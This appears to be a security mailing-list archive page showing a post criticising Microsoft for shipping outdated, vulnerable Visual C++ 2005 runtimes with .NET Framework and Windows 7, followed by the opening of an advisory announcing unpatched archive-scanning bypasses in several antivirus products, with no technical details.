   C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.42_none_db5f52fb98cb24admsvcm80.dll
   C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.42_none_db5f52fb98cb24admsvcp80.dll
   C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.42_none_db5f52fb98cb24admsvcr80.dll
   C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fcmsvcm80.dll
   C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fcmsvcp80.dll
   C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fcmsvcr80.dll
   
   The latest security update for the Visual C++ runtime was published
   2011-06-04 and updated the version to 8.0.50727.6195: see
   <https://support.microsoft.com/en-us/help/2538242/ms11-025-description-of-the-security-update-for-visual-c-2005-sp1-redi>
   
   The FAQ section of
   <http://technet.microsoft.com/en-us/security/bulletin/ms11-025> says:
   
   | In the case where a system has no MFC applications currently installed
   | but does have the vulnerable Visual Studio or Visual C++ runtimes
   | installed, Microsoft recommends that users install this update as a
   | defense-in-depth measure, in case of an attack vector being introduced
   | or becoming known at a later time.
   
   Microsoft ships VULNERABLE components with .NET Framework and Windows, then
   recommends that their unsuspecting users update them, but fails to update
   their crap themselses!
   In other words: "quod licet jovi non licet bovi"!
   
   JFTR: another highlight (really: a BLATANT lie) from
   <http://technet.microsoft.com/en-us/security/bulletin/ms11-025> is:
   
   | Recommendation. The majority of customers have automatic updating enabled
   | and will not need to take any action because this security update will be
   | downloaded and installed automatically.
   
   NO, Windows Update does NOT update the OUTDATED and VULNERABLE Visual C++
   runtime shipped with .NET Framework in Windows 7!
   
   The previous security update was published 2009-07-28 and updated
   the version to 8.0.50727.4053: see
   <https://support.microsoft.com/en-us/help/973544> plus
   <https://support.microsoft.com/en-gb/help/969706/ms09-035-vulnerabilities-in-visual-studio-active-template-libraries-co>
   
   Of course the statement from the FAQ section of MS11-025 holds for ATL
   applications (where MS09-035 should have an equivalent FAQ entry) and
   CRT applications too!
   
   Additionally see the MSKB article
   <https://support.microsoft.com/en-us/help/2977003/the-latest-supported-visual-c-downloads>
   which does NOT even list the MSVCRT 2005 any more!
   
   stay tuned, and FAR AWAY from untrustworthy and insecure software like .NET
   Framework and Windows 7
   Stefan Kanthak
   
   PS: <https://msdn.microsoft.com/en-us/vstudio/bb188593.aspx> shows
   2017-10-10 as EOL for the separate J# redistributable package.
   
   
   
   Read More


 * [TZO-22-2020] QIHOO360 | GDATA | RISING | COMMAND GENERIC MALFORMED ARCHIVE
   BYPASS
   
   MONDAY, FEBRUARY 24, 2020 06:37 AM | THIERRY ZOLLER LU 0 REPLIES
   
   
   
   ________________________________________________________________________
   
   From the lets-try-it-this-way Department
   Qihoo360 | GDATA | Rising | Webroot | Dr Web Generic Archive Bypass
   ________________________________________________________________________
   
   Release mode : Vendors do not react / Reverse Coordination Attempt
   Ref : [TZO-22-2020] - Qihoo360, GDATA, Escan, Rising, Command, K7 Computing,
   Ahnlab, Dr. Web, Webroot
   Status : Unpatched
   Dislosure Policy: https://caravelahq.com/b/policy/20949
   
   1. Summary
   ==========
   Deviating from my Disclosure policy : Situations where the time it takes to
   discover a vulnerability is inferior to the time spend to coordinate it call
   for a new way to approach vulnerability coordination. I call it reverse
   coordination. As these are mostly low risk findings I personally do not have
   any issues with proceeding that way.
   
   2. Description
   ==============
   Qihoo360, GDATA, Escan, Rising, Command, K7 Computing, Ahnlab, Dr. Web,
   Webroot
   
   3. Coordination
   ===============
   Unless Qihoo, respectively GDATA, Escan, Rising, Command, K7 Computing,
   Ahnlab, Dr. Web, Webroot get into touch within the next 21 days, I will
   proceed to publish the vulnerabilities on this very list without any further
   communication attempt. Many attempts have been made.
   
   
   
   Read More
   

Previous
1 2 3 4 5 6 7
Next
Privacy Statement Terms & Conditions Cookie Policy Accessibility Statement Do
Not Sell My Personal Information (for CA)

© 2021 Accenture. All Rights Reserved.